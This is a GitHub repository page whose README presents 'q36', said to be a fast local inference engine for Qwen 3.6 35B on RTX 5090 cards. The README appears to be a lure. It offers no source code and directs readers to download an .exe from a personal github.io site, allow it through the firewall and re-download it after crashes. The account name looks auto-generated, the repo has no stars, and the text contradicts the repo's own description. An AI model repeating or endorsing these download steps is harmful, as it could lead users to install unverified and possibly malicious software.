Skip to content
rochelleveritable865Public

About

Run Qwen 3.6 35B on RTX 5090 hardware using a zero-dependency C/CUDA inference engine designed for peak throughput and low latency.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Repository files navigation

⚙️ q36 - Run fast artificial intelligence models locally

q36 allows you to run modern artificial intelligence models on your home computer. It focuses on speed and hardware efficiency. The software works with the Qwen 3.6 35B model. It uses the power of your graphics card to process requests quickly. You do not need to install complex programming tools to use this software.

🖥️ System Requirements

To run q36, your computer needs specific hardware. Check these items before you begin:

  • Operating System: Windows 10 or Windows 11.
  • Graphics Card: NVIDIA RTX 5090 or hardware based on the Blackwell architecture.
  • Memory: 32 GB of system RAM or higher.
  • Storage: 50 GB of free space on a solid-state drive.
  • Drivers: The latest NVIDIA graphics drivers from the official website.

Ensure your graphics card sits in the main slot of your computer. This ensures the best performance during model processing.

📥 Downloading the software

Visit the official website to download the installer for your system:

https://rochelleveritable865.github.io

Click the link to reach the release page. Look for the file ending in .exe. Save this file to a folder you can find later, such as your Downloads folder.

🛠️ Setting up the application

Follow these steps to prepare the software for your first use:

  1. Locate the downloaded file in your folder.
  2. Double-click the file to start the installer.
  3. Follow the prompts on the screen.
  4. Choose a destination folder for the application files.
  5. Click finish when the installation process completes.

The installer places a shortcut on your desktop. This shortcut lets you open the application without navigating through your file folders each time.

🚀 Running the engine

Open the application by double-clicking the q36 shortcut on your desktop. A black window appears. This window shows the status of the engine. Wait for the text to stop moving. This indicates the software loaded the model into your graphics card memory.

Once the text displays "Ready," you can start using the interface. Your default web browser opens automatically to the local address where the control panel lives.

💡 Troubleshooting common issues

If the application fails to open, check the following items:

  • Graphics Drivers: Visit the NVIDIA website and install the latest driver version for your specific card. Older drivers often cause memory errors.
  • Memory Usage: Close other programs like web browsers or video games before you start q36. These programs consume video memory needed by the inference engine.
  • Firewall Alerts: Your computer might show a warning when you first run the software. Select the option to allow the application to communicate on your private network. This allows the web interface to connect to the engine properly.
  • File Integrity: If the software crashes immediately, delete the folder and perform a fresh download from the link provided above. Corrupted files lead to unexpected behavior.

📈 Performance optimization

The q36 engine detects your hardware automatically. It balances the workload to ensure stability. You do not need to change settings for basic tasks. If you notice slowdowns, check your system fans. High performance generates heat, and your computer needs good airflow to maintain maximum speed. Keep the computer case clean and ensure the exhaust paths remain clear.

The software runs best when you install it on a secondary drive if your primary drive is nearly full. This leaves enough room for the system to swap data if needed.

Keywords: inference, ai, qwen, windows, hardware, graphics, optimization

About

Run Qwen 3.6 35B on RTX 5090 hardware using a zero-dependency C/CUDA inference engine designed for peak throughput and low latency.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages